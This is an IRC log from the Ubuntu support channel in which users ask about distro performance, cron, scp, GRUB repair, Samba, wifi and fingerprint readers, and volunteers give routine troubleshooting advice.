[06:58] <Losowski> ok, important question which will help me decide which to install: Which OS operates 'faster" (not referring to boot time, but speed in running desktop applications, etc)...Ubuntu or OpenSuse...your answeres would be greatly appreciated...Thank you!
[06:58] <kindofabuzz> Losowski, that's like asking what color is the best
[06:58] <Losowski> kindofabuzz: It isn't
[06:58] <tanath> Losowski, shouldn't be much difference, and depends which apps you run
[06:58] <AAA> kindofabuzz  you prolly created the mount point as sudo?
[06:59] <Losowski> Because the fastest OS I've used in FreeBSDE
[06:59] <Kurt> Losowski: I switched from OpenSuSE to Ubuntu a couple of years ago...at least at the time, I noticed an improvement in runtime with Ubuntu over OpenSuSE
[06:59] <Losowski> *FreeBSD
[06:59] <AAA> Losowski  how did you see that?
[06:59] <kindofabuzz> Losowski, take it to #ubuntu-offtopic, plenty there tthat will discuss
[06:59] <Losowski> tanath: Let's use OpenOffice for example, Inkscape, Gimp
[07:00] <AAA> Losowski  ok. but that ain't linux nor ubuntu
[07:00] <Losowski> AAA: There are many cpu perfomance programs out there
[07:00] <tanath> Losowski, the same app on different *nixes shouldn't be much different. i meant if you were using, say, a kde app instead of a similar gnome version
[07:00] <Losowski> AAA: Well, I'm only comparing Ubuntu and OpenSuse
[07:00] <tanath> Losowski, or a leightweight environment & window manager, as opposed to gnome or kde
[07:00] <shadow420> how can backup every piece of software I have installed through sudo apt-get install and in Add/Remove appilcations
[07:01] <Kurt> not true.  Depending upon other processes running on a fresh install, the amount of time it takes to start and run the same program on different distros while take differing amounts of time
[07:01] <AAA> Losowski  I have nothing but troll for ya ;)
[07:02] <Losowski> I think it's a valid question, "which performs faster' ?
[07:03] <Losowski> In fact, speed is most important to me...not graphical eye candy
[07:03] <pauLabz_> hey
[07:03] <tanath> Losowski, if you want the best speed for your hardware, you might be best with an optimized build of slackware. it would take forever to compile everything though
[07:03] <Losowski> I couldn't care less of OpenSuse has an elegant graphical installer for example
[07:03] <rebel_kid> my computer just keeps locking up on me, i have no idea why
[07:03] <bcl> rebel_kid: powersupply is going bad.
[07:03] <oon_s> gjhkj
[07:04] <bazhang> Losowski, chat in #ubuntu-offtopic not here
[07:04] <rebel_kid> bcl, u serious its locking up as in the os and applications are freezing how is that power supply?
[07:04] <thorny_su1> how do i figure out where an executable file resides?  is there a simple command?
[07:04] <thorny_su1> assuming it is in my path somewhere
[07:04] <hagabaka> "whereis"
[07:04] <speedhunt3r> hi
[07:04] <tanath> thorny_su1, 'which app'
[07:05] <thorny_su1> tanath: thank you!!!
[07:05] <speedhunt3r> I have a simple problem, don
[07:05] <bcl> when the power to the cpu is flakey it commonly causes everything to freeze.
[07:05] <rebel_kid> bcl, damn it everything on this hunk a junk is dieing
[07:05] <Losowski> bazhang: My question is not off topic
[07:05] <rebel_kid> bcl, thanks guess i need a new power supply
[07:05] <Losowski> bazhang: I think it is a valid, relevant question
[07:05] <shadow420> hey bazhang
[07:06] <bazhang> Losowski, what is your ubuntu support question then
[07:06] <speedhunt3r> don't know how to fix it... If banshee is running, any video i try to run in vlc...has no audio. If vlc is open, and I start banshee...it can't play any songs...  it's either one or the other that can work at one time... how can I fix this?
[07:06] <bazhang> hi shadow420
[07:06] <Losowski> There are some Linux distros out there that are 'bloated', and run slower than others
[07:07] <Losowski> OpenSuse seems bloated compared to Ubuntu
[07:07] <shadow420> rebel_kid your system couldn't be bad as mine
[07:07] <bazhang> Losowski, that is a chat topic suited to #ubuntu-offtopic ; this is a support channel only.
[07:07] <Losowski> ok bazhang, thanks
[07:07] <tanath> Losowski, technically, you can customize any linux distro
[07:07] <pauLabz_> people, who would like to come with me and surf money on the net?i just wana have fun...
[07:07] <pauLabz_> hehehe...
[07:07] <bazhang> pauLabz_, not here
[07:09] <shadow420> is there a way to backup everything I have installed expect for the core system
[07:09] <clarence__> Extra Ubuntu is how to make the special effects
[07:09] <bazhang> !backup
[07:10]  * peepsalot sighs at broken virtualbox modules for the umpteenth time.
[07:10] <shadow420> bazhang thanks
[07:10] <bazhang> !ccsm | clarence__
[07:11] <negge> I have a problem with a cron job. I want to run the command "ntpdate ntp.eunet.fi >> /home/sam/Files/ntpupdate.log 2>&1" every two hours. If I run it manually, it works just like it should, but when cron runs it, the log says "/bin/sh: ntpdate: not found"... How is that possible?
[07:11] <powertool08> Is the correct syntax for scp? scp -vvv desktopuser@desktop:/path/to/remote/file localuser@locallappy:/path/to/anywhere
[07:11] <clarence__> I have downloaded
[07:12] <tanath> negge, sounds like cron is running sh in front of your command, and therefore looking for a script called ntpdate
[07:12] <tanath> negge, try gnome-schedule
[07:12] <powertool08> It tries to connect, prompts for password, and loses the connection after I enter password, tho debug says authentication succeeded
[07:13] <powertool08> do I have to have an ssh server on both hosts to transfer via scp?
[07:15] <kindofabuzz> ok i fianlly got wpa2 working, but now every boot i have to choose connect to Other wireless network and put the info in, even though the network is showing.  at boot it tries to connect but doesn't.
[07:16] <negge> I guess I have to make script that calls the command then...
[07:18] <Aeron_wwap> i'm looking for a list of recommended partitions, types and sizes on a desktop Ubuntu machine
[07:18] <Flannel> Aeron_wwap: / /home and swap, swap depends on RAM, / and /home depend a little on how much HD space you have at your disposal
[07:19] <shadow420> !interpid
[07:19] <Flannel> !intrepid | shadow420
[07:19] <shadow420> !intrepid
[07:20] <Guest8804286> Hello, can anybody help me figure out how to get my wireless IPN2220 card working?
[07:21] <mordof> how would i make it so when i create a new file in a folder, it inherits the owner user:group from the folder it's in?
[07:21] <smp4488> so i was messing with ubuntu-mobile now my gnome theme has huge font and all the windows have white backgrounds
[07:21] <smp4488> i have tried resetting the themes but it doesnt help
[07:21] <oon_s> hkrfigore
[07:21] <oon_s> ubuntu is the best..
[07:22] <unop> mordof, you can only set the group that way .. make the parent directory setgid
[07:22] <mordof> unop: that's what i need
[07:22] <Aeron_wwap> Flannel, what file system types? i think it has 512mb ram
[07:23] <mordof> unop: k.. hmm. i'll google that to find the command, ty
[07:23] <unop> mordof, chmod g+s directory
[07:23] <mordof> ah ok, ty ^^
[07:23] <Flannel> Aeron_wwap: 1G of swap for 512M ram.  ext3 for the other two (swap for swap)  Basically, you need about 10-20G for / and the rest can be home.
[07:24] <dexter> hey thers no option of speaking over mike in pidgin..can nyone help
[07:24] <kindofabuzz> nope
[07:24] <Aeron_wwap> Flannel, i don't understand what you meant by "swap-for-swap"
[07:24] <LSD|Ninja> dexter: no video/voice in pidgin yet. Try again next year.
[07:24] <mordof> whaaa... i'm getting this crontask message sent to my user over and over, lol
[07:24] <kindofabuzz> pidgin does not support voice or cams
[07:25] <mordof> i had a huge amount of identical messages x.x
[07:25] <Flannel> Aeron_wwap: the filesystem for swap stuff is "swap"
[07:25] <Aeron_wwap> Flannel, oh, gotcha :D
[07:25] <Aeron_wwap> Flannel, thank you
[07:25] <dexter> then in which messenger is voice/video it enabled
[07:25] <Aeron_wwap> Flannel, i'm going to wipe the drive clean tonight, install the new 8.04 i just got in the mail
[07:25] <ushimitsudoki> I need some help figuring out why a few apps run but do not "show up"? That is the process appear in ps, and they seem to be working, but the windows are not displayed. Not sure where to start troubleshooting this issue
[07:25] <LSD|Ninja> dexter: for what protocol?
[07:26] <stalin> hi.i want to copy the folder from desktop to opt.command please
[07:27] <T2> ello, are there any VOIP software through ubuntu?
[07:27] <LSD|Ninja> T2: Ekiga, Skype (through medibuntu), probably others
[07:27] <arvind_khadri> how do i ssh into a machine behind a gateway?
[07:28] <smp4488> any ideas about my gnome font being big and colors messed
[07:29] <stalin> hi
[07:29] <LSD|Ninja> dexter: aMSN (absolute garbage) and Mercury (haven't tried it but it can't be worse than aMSN) whill give you video/voice on MSN but as for others, no idea
[07:29] <EatShrooms> eyy
[07:30] <m0u5e> where would I go to contribute ideas for ubuntu art?
[07:30] <dexter> LSD|Ninja; nd wat abt protocol had u been asking
[07:30] <LSD|Ninja> dexter: what IM protocol do you want video and voice over: MSN, AIM, Yahoo, ICQ, what?
[07:31] <dexter> LSD|Ninja; yahoo nd gtalk
[07:31] <LSD|Ninja> dexter: dunno then, sorry :/
[07:31] <dexter> LSD|Ninja; no probs thanq man
[07:32] <EatShrooms> could anybody help with me wine
[07:32] <EatShrooms> I have to click buttons a million times for them to press in
[07:32] <lint> hello can someone tell me why restart and shutdown have dissapeared from my shutdown screen menu?
[07:32] <arvind_khadri> does SQUID have gui??
[07:33] <LSD|Ninja> arvind_khadri: as in the proxy server? o_O
[07:33] <kibibyte> how to capture audio when im playing youtube movie
[07:33] <kibibyte> hi
[07:33] <crdlb> lint: do you have xserver-xgl installed?
[07:33] <EatShrooms> kibibyte: vixy.net
[07:33] <lint> crdlib: im not sure, how do i find out?
[07:33] <Gargantua> What's a good screen cap program?
[07:34] <arvind_khadri> LSD|Ninja, the app available in the repos...
[07:34] <EatShrooms> enter the youtube url and select .mp3
[07:34] <lint> crdlib: no i do not
[07:34] <m0u5e> where would I go to contribute ideas for ubuntu art?
[07:34] <dexter> LSD|Ninja; wat messengers do u use
[07:35] <VanessaE> ok, my printer issue is sorted out.  Can someone help me set up networked scanning?
[07:35] <VanessaE> (it works on the server already)
[07:36] <KlimJay> Does anyone know the current status of the upcoming Ubuntu version?  IE: Would it be coming out in a few weeks, and I'd be wasting my time downloading and installing it now ?
[07:36] <LSD|Ninja> dexter: Adium on OS X :P It's based on the same libpurple back end as pidgin but the lack of video/voice support doesn't bother me. I installed Skype for when I need those features.
[07:36] <Gargantua> arvind_khadri, was that for me?
[07:36] <Gargantua> err nevermind
[07:36] <lint> can somenoe tell me why shutdown and restart have dissapeared from my logout menu?
[07:36] <KlimJay> Or would be like in "Alpha"
[07:37] <m0u5e> KlimJay: intrepid is coming out in october
[07:37] <m0u5e> KlimJay: currently its alpha 4
[07:38] <d1g1talpsyko> lint right click on the panel and add it back
[07:38] <KlimJay> m0u5e: So another words, I might as well wait?
[07:38] <m0u5e> KlimJay: theres at least 1 more alpha till beta... and a few more weeks after that till RC
[07:38] <m0u5e> KlimJay: why dont you try hardy now?
[07:38] <m0u5e> KlimJay: its nice
[07:38] <KlimJay> m0u5e: I have limited bandwith , a "Fair Access Policy" of downloading 375 MBs in a "rolling 24 hour period"
[07:39] <m0u5e> o__O;
[07:39] <lint> d1g1talpsyko: no way to do so
[07:39] <Flannel> KlimJay: You'll likely want to do Hardy then, and stick with it for at least a month after Intrepid is released.  The first few weeks are rather update-heavy
[07:39] <KlimJay> m0u5e: I have 2-5 AM of free downloading at about 122 KB/sec (IE: about 400 MBs per hour)
[07:39] <d1g1talpsyko> hmmmm
[07:39] <administrator> how do i assign a class B ip as default for squid proxy?
[07:39] <KlimJay> So I can get about 1 GB in is all a day.
[07:40] <Twister10130> hey anyone know abut how to fix grub error 17?
[07:40] <m0u5e> KlimJay:  that should be enough
[07:40] <KlimJay> besides the hours that count.
[07:40] <m0u5e> KlimJay: just download ubuntu during that time, use torrents
[07:40] <KlimJay> (towards daily limitations)
[07:40] <Smurfslover> hi there
[07:40] <Smurfslover> ubuntu broke my xserver
[07:40] <Smurfslover> how can i reset it?
[07:40] <KlimJay> Torrents and eMule, and some other P2P screw up my HN7000S somehow.
[07:40] <KlimJay> (Sat modem)
[07:41] <Flannel> KlimJay: I'd strongly recommend you try Hardy.  And also, if you like it enough, you can stick with it for two whole years and be able to upgrade directly to 10.04 when it comes out.
[07:41] <KlimJay> But, I have been thinking that Xubuntu could be the best bet, I could add everything I wanted and use it more like a "basic" version.
[07:41] <KlimJay> And the GUI would make it faster?
[07:41] <m0u5e> KlimJay: mmm kinda... ive used xubuntu before
[07:41] <KlimJay> perhaps?
[07:41] <m0u5e> KlimJay: and ive tried xubuntu hardy as well
[07:42] <m0u5e> KlimJay: i recommend trying hardy with gnome though, gnomes gotton a lot better
[07:42] <seekingtruth> hello sinners
[07:42] <KlimJay> m0u5e: yeah, I don't have a Xubuntu disk (as they don't ship'em) though.
[07:42] <m0u5e> KlimJay: xubuntu is too minimalistic for my tastes... and its not *that* light on the resources anymore
[07:42] <KlimJay> I wanted to tear my screen apart when I tried Kubuntu.
[07:42] <m0u5e> KlimJay: haha i hear 4.1 is a lot better though
[07:42] <administrator> how do i get the gui for squid3?
[07:43] <LSD|Ninja> KlimJay: KDE has that effect on people
[07:43] <m0u5e> anyone know how to enable mouse scroll for the pager?
[07:43] <KlimJay> LSD|Ninja: word.
[07:43] <m0u5e> oh and
[07:43] <m0u5e> where would I go to contribute ideas for ubuntu art?
[07:43] <arvind_khadri> LSD|Ninja, ya SQUID as in the proxy server
[07:44] <administrator> how do i get the gui for squid? as in proxy server
[07:44] <arvind_khadri> LSD|Ninja, does it have a GUI??
[07:44] <KlimJay> The most common annoying thing that I found in Ubuntu was I couldn't get rid of that minumize "box" effect.. that.. border growing smaller down to the er.. "task bar?"
[07:45] <KlimJay> Even on no visual affects
[07:45] <lint> hi can someone help me? i am trying to move some files from my linux partition to my windows partition, is this possible?
[07:45] <Xcerca> lint ,  yea ofcource
[07:45] <Xcerca> s
[07:45] <lint> how can i do it?
[07:45] <KlimJay> Is it possible to even get rid of that annoyance ?
[07:46] <xubi> hi
[07:46] <m0u5e> KlimJay: oh... you can disable gnome animations
[07:46] <Xcerca> can you see the drive in PLaces ?
[07:46] <m0u5e> KlimJay: its somewhere under gconf-editor
[07:46] <lint> xceerca: i tried dragging and dropping the files in nautilus but it told eme the drive was read only
[07:46] <tuxycopathe> hi guys
[07:46] <xubi> when i try to work a game with wine, it says "HTLM motor is unactivated"
[07:46] <xubi> what can i do
[07:46] <m0u5e> does anyone know how to disable spinup of my optical drive when accessing places?
[07:46] <KlimJay> Also, since I'd be using Wubi, would I be able to upgrade directly to the newer releases easily as if I had a real seperate partition ?
[07:46] <m0u5e> i dont want it to spinup unless i actually click on the dvd drive :/
[07:47] <xubi> when i try to work a game with wine, it says "HTLM motor is unactivated"
[07:47] <xubi> how can i activate HTML MOTOR
[07:47] <m0u5e> KlimJay: i dunno how upgrading with wubi works...
[07:47] <Xcerca> lint , let me try somthin real quick
[07:47] <Kira[work]> You know how it is possible to detach a process from the terminal by using &?
[07:48] <Kira[work]> How do I use that in conjunction with sudo? Say, I want to use "sudo gedit", but also detach it from the terminal.
[07:49] <m0u5e> Kira[work]: have you tried using alt+f2?
[07:49] <Xcerca> lint i dunno man , i never had that problem , can you use the ntfs partions normaly though,  like run programs and stuff ?
[07:49] <KlimJay> m0u5e: also, about the comment about it Xubuntu being basic, I figure that's what I'd want.  Since little things annoy me.  And Kubuntu comes with Ksuperbrowserthatblows, Kthis,Kthat
[07:49] <Kira[work]> m0u5e: where? at the terminal or at the gedit window?
[07:49] <m0u5e> Kira[work]: just press alt+f2
[07:49] <xubi> when i try to work a game with wine, it says "HTLM motor is unactivated"
[07:49] <xubi> how can i activate HTML MOTOR
[07:50] <Gargantua> What's a good screen cap program?
[07:50] <Xcerca> xubi what game ?
[07:50] <xubi> hunting unlimited 2009
[07:50] <stroggs> hello..need help on using projector on my ubuntu 8.04,i tried but failed.
[07:50] <m0u5e> xubi: /join #winehq try there? :)
[07:50] <lint> Xcerca: yes
[07:50] <xubi> thnks
[07:50] <supertones> whenever my hard disk gets touched especially when moving files/installing software/and downloading files my computer locks up and many processes go into disk sleep, this has made my new computer completely unusable anyone know how i can fix this?
[07:50] <Kira[work]> m0u5e: ah, so I press alt+f2 and sudo gedit there?
[07:50] <m0u5e> KlimJay: well you can try both i guess... download them during 2am-5am xD
[07:50] <lint> can someone help me set the permissions on my windows partition so that i can copy files over to it?
[07:50] <Xcerca> lint is the drive you want to copy it to on the desktop ?
[07:51] <lint> xcerca: yes
[07:51] <m0u5e> Kira[work]: use gksu
[07:51] <Xcerca> just right click it and press properties and goto permisions and uncheck read only
[07:52] <stroggs> anyone knows how fix projector problem with hardy?
[07:53] <stroggs> am i d only one having a projector problem with hardy?
[07:53] <m0u5e> KlimJay: at 122kb, you should be able to download nearly a gig within 3 hours... each iso is only 700mb so if you use torrents, you will almost be able to finish in that time
[07:53] <m0u5e> KlimJay: 1286.71875 to be exact :D
[07:54] <KlimJay> m0u5e: that is about right, unless someone hops on to one of the other computers to do basic serfing.
[07:54] <krishna> is there a GUI version for Squid Proxy Server in Ubuntu???
[07:54] <KlimJay> or whatever
[07:54]  * Kira[work] goes info gksu
[07:55] <DBLobster> w sjz
[07:55] <Kira[work]> aaaaaaaah
[07:55] <Kira[work]> oooooooooooooo
[07:55]  * Kira[work] is high on gksudo now
[07:56] <m0u5e> Kira[work]: haha
[07:57] <Xcerca> how do you turn /dev/hiddev support on , is it not already by default ?
[07:57] <T2> hello, how do i seach for spyware on unbuntu, like spybot through windows?
[07:57] <Xcerca> there is no spyware
[07:58] <Jordan_U> T2: Did you download and install any spyware?
[07:59] <KlimJay> Speaking of such, does Clam work better in linux , than ClamWin ? Anyone know?
[07:59] <KlimJay> if I was to just amuse myself by installing it
[07:59] <T2> KlimJay: no but how to i scan for it
[07:59] <Flannel> KlimJay: ClamAV is available
[07:59] <Jordan_U> T2: You can scan for windows spyware with ClamAV
[08:00] <ubuntu_> how do I reinstall my grub loader?  When I reinstalled windows, it killed it.
[08:00] <Flannel> !grub | ubuntu_, first link
[08:00] <KlimJay> Flannel: does it still not scan on read/write like ClamWin?
[08:00] <ubuntu_> Flannel: hey man, how's your night going?
[08:00] <Flannel> KlimJay: I have no idea.  I don't use either.
[08:01] <KlimJay> OK.
[08:01] <Flannel> ubuntu_: Howdy.  Doing fine.
[08:01] <ubuntu_> Flannel: this is Jeeves_Moss!!  I'm running a live CD.  I need a hand to reinstall Grub
[08:01] <Flannel> ubuntu_: That link walks you through it, its real self explanatory and straight forward
[08:02] <Flannel> ubuntu_: but, if you have questions, be sure to ask
[08:02] <ubuntu_> Flannel: is it grub-install <target parition>?
[08:03] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:03] <krishna> class B to be precise
[08:03] <Flannel> ubuntu_: The first or second methods will work, yes.
[08:03] <ubuntu_> Flannel: right now when I try "grub-install /dev/disk/", I get /dev/disk/ does not have any corresponding BIOS drive.
[08:04] <cryingtux> hello
[08:04] <cryingtux> i have display issue with hardy for my nvidia card
[08:04] <cryingtux> there are 2 issues
[08:04] <krishna> Flannel:can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:04] <Flannel> ubuntu_: disk being what?
[08:04] <cryingtux> only 800x600 display
[08:04] <ahtmly2k> help please? i have a fingerprint reader on my laptop... how do i set it up?
[08:05] <cryingtux> 2: distorted display
[08:05] <cryingtux> is there any fix for that?
[08:05] <Flannel> ahtmly2k: Look into thinkfinger
[08:06] <adammw111> Hi, I can't get my network card to work anymore. What steps should I try to resolve this?
[08:06] <Flannel> ahtmly2k: go to synaptic, and search for "thinkfinger" there's a few packages, libraries, tools, etc.
[08:07] <ubuntu_> Flannel: when I look @ the gparted report, I see the orignal partition that my working install of Ubuntu is located on /dev/sda4 or @ /media/disk
[08:07] <Flannel> ahtmly2k: you can use "apt-cache search thinkfinger" to search in the terminal, yes.
[08:07] <cryingtux> Flannel: do you have clue for my issue?
[08:07] <wers> will an X3100 be enough for pcsx2?
[08:08] <Flannel> cryingtux: No
[08:08] <cryingtux> its ok
[08:08] <clarkKent> hows it goin,
[08:08] <clarkKent>  I seem to be having trouble getting samba permissions straight... Everything seems to be writable in SMB.conf but when I try to write from a windows computer it says "You do not have permission" , has anyone had this problem before?
[08:09] <ahtmly2k> ahtmly2k@ahtmly2k-ubuntu64:~$ apt-cache search thinkfinger
[08:09] <ahtmly2k> libpam-thinkfinger - PAM module for the STMicroelectronics fingerprint reader
[08:09] <ahtmly2k> libthinkfinger-dev - development files for libthinkfinger
[08:09] <ahtmly2k> libthinkfinger-doc - documentation for libthinkfinger
[08:09] <ahtmly2k> libthinkfinger0 - library for the STMicroelectronics fingerprint reader
[08:09] <ahtmly2k> thinkfinger-tools - utilities for the STMicroelectronics fingerprint reader
[08:09] <FloodBot2> ahtmly2k: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[08:09] <Expl0ited> and get bluetooth hotsync to work with a treo 700p?
[08:09] <Vagilik> Hello hello all
[08:09] <Evensen> hey
[08:09] <ubuntu_> Flannel: did you have a good URL in mind?
[08:09] <Flannel> ubuntu_: You only have one partition for Ubuntu? or do you have a separate /boot?
[08:09] <Evensen> I just installed GTK, and i lost all my themes?
[08:10] <Vagilik> i am new to linux...i have a question...how do i view windows network drives on ubuntu?
[08:10] <crdlb> Evensen: please define "installed GTK"
[08:10] <Flannel> !samba | Vagilik
[08:10] <Jordan_U> Evensen: What did you do exactly?
[08:10] <ubuntu_> Flannel: ok, /dev/sda1 = windows (32Gb), /dev/sda2 = MythBuntu, /dev/sda3 = swap, /dev/sda4 = main Ubuntu install
[08:10] <Flannel> ubuntu_: Mmmm, ok.  Use the first method on that page instead of the second.
[08:11] <ubuntu_> Flannel: URL again please?
[08:11] <Evensen> installed GTK+ 2.12 with GLib and Pango
[08:11] <lint> can someone help me? i am having trouble mounting my cdrom drive
[08:11] <Flannel> ubuntu_: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
[08:11] <ubuntu_> Flannel: thank you
[08:11] <Vagilik> Thank You all
[08:12] <crdlb> Evensen: how? do you mean that you installed the libgtk2.0-0 package in the ubuntu repositories?
[08:12] <cacahuate> hello.. when i booting.. this module "piix4_smbus" stays for like 8 seconds.. and its failed.. i think i dont need it.. how can i delete it, so my boot go faster
[08:12] <mrkiko> lint: what kind of problem?
[08:13] <Evensen> nah i compiled it
[08:13] <ubuntu_> Flannel: I'm getting Error 12 from grub
[08:13] <crdlb> Evensen: may I ask why?
[08:13] <T2> heelo, are there any good mBittorrent clients like Bitlord or Utorrent for ubuntu also can i install Limewire in ubuntu also?
[08:13] <Vagilik> !samba
[08:14] <mrkiko> T2: with a "apt-cache search torrent" you will get a lot of infos
[08:14] <Kartagis> hi
[08:14] <ahtmly2k> cant download thinkfinger... y
[08:14] <ahtmly2k> ?
[08:15] <Flannel> ahtmly2k: thinkfinger isnt a package name.
[08:15] <Kartagis> what's the way to get the messages in another language when doing make?
[08:15] <ubuntu_> Flannel: how do I change the partition will boot to?  I want to change it from /dev/sda1 to /dev/sda4
[08:15] <corinth> Can't get Cheese to display video from my webcam. Help?
[08:16] <mrkiko> Kartagis: oh, I don't think applications involved in make are localizzable :D
[08:16] <Flannel> ubuntu_: You mean which partition's MBR has grub on it?
[08:16] <shocm> +i
[08:16] <ahtmly2k> im trying it again
[08:16] <OmfgItsAShark> hey can somebody help me out... i am running xubuntu right now and i wanna change the color of the panels and the text color on theh panels can anybody help me out
[08:16] <ahtmly2k> in synaptics
[08:17] <OmfgItsAShark> will someone plz help me
[08:17] <Flannel> !repeat | OmfgItsAShark
[08:18] <ahtmly2k> got it... but once intalled, where do i find it to set it up?
[08:18] <corinth> !patience | OmfgItsAShark
[08:18] <OmfgItsAShark> i am
[08:19] <mrkiko> OmfgItsAShark: I simply have no ideas on what you should do...
[08:20] <mrkiko> OmfgItsAShark: try asking in #gnome
[08:21] <larry> I'm running 8.10 alpha 4, all nice and updated
[08:21] <OmfgItsAShark> i thought it wasnt gnome though
[08:21] <Flannel> ahtmly2k: you may or may not have to enable the PAM module, check /usr/share/doc/libpam-thinkfinger/README.Debian, and then thinkfinger-tools installed tf-tool, which you can use to enroll/etc
[08:21] <crdlb> mrkiko: for xubuntu? :)
[08:21] <larry> Everything works great except my Juniper VPN client
[08:21] <OmfgItsAShark> yeah
[08:21] <Flannel> OmfgItsAShark: it's not, its XFCE4
[08:21] <crdlb> larry: intrepid support in #ubuntu+1 please
[08:21] <OmfgItsAShark> so hohw do i enable the pam mode
[08:21] <larry> thanks
[08:22] <larry> join #ubuntu+1
[08:22] <larry> d'oh!  am I a moron or what!
[08:22] <OmfgItsAShark> crdlb is it cool if i pm you?
[08:23] <hypernewbie> 8.04 apache package could do with better default config
[08:23] <crdlb> OmfgItsAShark: I don't know anything about xfce
[08:23] <Flannel> hypernewbie: Regarding what?
[08:23] <platius> OmfgItsAShark, http://www.xfce.org/documentation/  you might look here
[08:23] <dirty_bob> quick question, if my built in wifi card isnt on the supported list, would it even pic up the wireless signal from my router? im showing nothing
[08:23] <OmfgItsAShark> you said something about pam
[08:23] <hypernewbie> it should start right away
[08:23] <Flannel> OmfgItsAShark: not to you
[08:23] <Flannel> hypernewbie: it does
[08:23] <hypernewbie> but no, u gotta config file before it starts
[08:23] <mrkiko> If #xfce exist, try joining it :)
[08:23] <seekingtruth> hello sinners
[08:23] <mrkiko> ad it exists!
[08:24] <dusty_> Morning all.  What is the correct what to install and configure dual monitor (22" LCD and 14" CRT doing 1680x1050 / 1024x768) in Ubuntu 8.04:  ATI Technologies Inc Mobilitiy Radeon HD 3450 <-- that is my card, I have been reading mixed opinions some say use xrandr, some say use opensource drivers so same use closed source, I am at a loss as to which route is the best ?
[08:25] <mrkiko> dirty_bob: if you card is not displayed as a wifi interface, it will do nothing
[08:25]  * mrkiko tries the bot command :D
[08:26] <mrkiko> !wifi
[08:26] <mrkiko> eheheh, it worked!
[08:26] <dirty_bob> yeah its not on the list
[08:26] <dirty_bob> damn
[08:27] <Flannel> dirty_bob: That page links to a pretty thorough page on troubleshooting wifi
[08:27] <Myrtti>  /lastlog sin
[08:28] <Xcerca> is there a way to check if hiddev support is enabled ?
[08:28] <mrkiko> dirty_bob: see pm
[08:29] <Kartagis> mrkiko> FYI, LANG=ru make works
[08:29] <mrkiko> Kartagis: very very good!
[08:29] <mrkiko> Kartagis: infact I told it was a guess...
[08:30] <Kartagis> mrkiko> the problem is i did LANG=EN make before and that didn't work
[08:30] <mrkiko> Kartagis: aniway it all depends upon the apps make will call
[08:30] <mrkiko> Kartagis: I don't know if my english is clean enough to be understood
[08:31] <dusty_> Morning all.  What is the correct what to install and configure dual monitor (22" LCD and 14" CRT doing 1680x1050 / 1024x768) in Ubuntu 8.04:  ATI Technologies Inc Mobilitiy Radeon HD 3450 <-- that is my card, I have been reading mixed opinions some say use xrandr, some say use opensource drivers so same use closed source, I am at a loss as to which route is the best ?
[08:31] <mrkiko> !repeat dusty_>
[08:31] <ahtmly2k> thnx all
[08:31] <mrkiko> no :) invalid character, >
[08:32] <dusty_> mrkiko, Answer the question?
[08:32] <dusty_> It's a fairly common question, surely you know the answer? Then I wouldn't have to repeat :)
[08:33] <mrkiko> dusty_: I personally don't use any monitor since I'm blind  (seriously)
[08:33] <Pirate_Hunter> hi trying to setup dansguardian based on this tut http://ubuntuforums.org/showthread.php?t=207008 but just wondering do i really need firehol considering it is another firewall just like ufw?
[08:33] <Gargantua> mrkiko, really?
[08:33] <dirty_bob> mrkiko pm sent with info on wifi card
[08:33] <nileshpatil> yes its again a firewall
[08:33] <Gargantua> do you use one of those programs that read things out to you?
[08:34] <nileshpatil> Pirate_Hunter : what is your basic requirement?
[08:34] <mrkiko> Gargantua: yes, see brltty
[08:34] <XGas> wow, awesome.
[08:35] <Gargantua> mrkiko, does it read things like "* yacc (n=andreas@ip-80-226-13-194.vodafone-net.de) has joined #ubuntu"?
[08:35] <Gargantua> That would get really anoying.
[08:35] <Pirate_Hunter> nileshpatil: huh? im just using dansguardian to filter content from the kids but based on that tut i need firehol i dont see the point if it is the same as ufw and i could simply input the iptable command direct into the system
[08:35] <XGas> and time consuming
[08:36] <mrkiko> Gargantua: yes; infact I should set up the client to ignore them
[08:36] <Gargantua> mrkiko, als0 doez it annoi u wen ppl dunt spell thigs rite
[08:36] <Splex> anyone recommend a ddns provider?
[08:36] <mrkiko> Gargantua: oh yes, they annoy me very much
[08:36] <mrkiko> Gargantua: partially even because I'm not native english
[08:36] <Gargantua> oh
[08:37] <Gargantua> mrkiko, how about when people use smilies?
[08:37] <nileshpatil> filter contents like ?
[08:37] <Gargantua> Well, my friend, I'm sorry you can't experience the beauty of Compiz :(
[08:38] <cacahuate> hello... i have an error while booting.. and is taking like 8 seconds.. any idea how to get rid of it?
[08:38] <cacahuate>  [    10.227318]  piix4_smbus 0000:00:07.3: Host SMBus controller not enabled!
[08:38] <mrkiko> Gargantua: ohoho :D there are much more important things I will not experience. Aniway, for me smileis makes no sense, they are only combination of signs
[08:38] <Pirate_Hunter> can i have ufw and firehol running at the same time considering they are just frontend to iptables "i think they are frontends"?
[08:38] <Gargantua> mrkiko, I hear people that are blind develop better sense over-all, so no worries :)
[08:39] <Gargantua> I bet the command-line interface of linux is easier for blind people.
[08:40] <dirty_bob> i would imagine it would be. unless you me, i can see and i still get lost
[08:40] <Pirate_Hunter> Gargantua: if they are blind how can they read cat or error response?
[08:40] <mrkiko> Gargantua: yes
[08:40] <Gargantua> Pirate_Hunter, follow the conversation?
[08:40] <mrkiko> Pirate_Hunter: see brltty
[08:40] <Gargantua> he has it setup so it reads things
[08:40] <nileshpatil> yes
 : they do work as frontends
[08:41] <Gargantua> man it must really suck reading web pages though
[08:41] <Gargantua> http://torrentfreak.com/isps-hand-over-details-of-several-thousand-pirates-080904/
[08:41] <Gargantua> OH SHIT
[08:41] <FloodBot2> Gargantua: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
 : that is why i wanted to know what type of contents you want to filter?
[08:41] <Flannel> Gargantua: please keep non-support discussion out of this channel, thanks.
[08:41] <Pavlz> http://translate.google.it/translate?u=http%3A%2F%2Fwww.ilsoftware.it%2Farticoli.asp%3FID%3D4624&sl=it&tl=en&hl=it&ie=UTF-8
[08:41] <lint> can someone help me? i am trying to eject my cdrmo from the drive but it says i cannot unmount the volume because i am not priveleged
[08:41] <Pirate_Hunter> Flannel: ty i just realised it when i had to scroll up to look at the conversation
[08:42] <Gargantua> Flannel, there's no social channel I presume?
[08:42] <Flannel> Pirate_Hunter: I doubt that should've been directed at me
[08:42] <Flannel> Gargantua: There is.  #ubuntu-offtopic
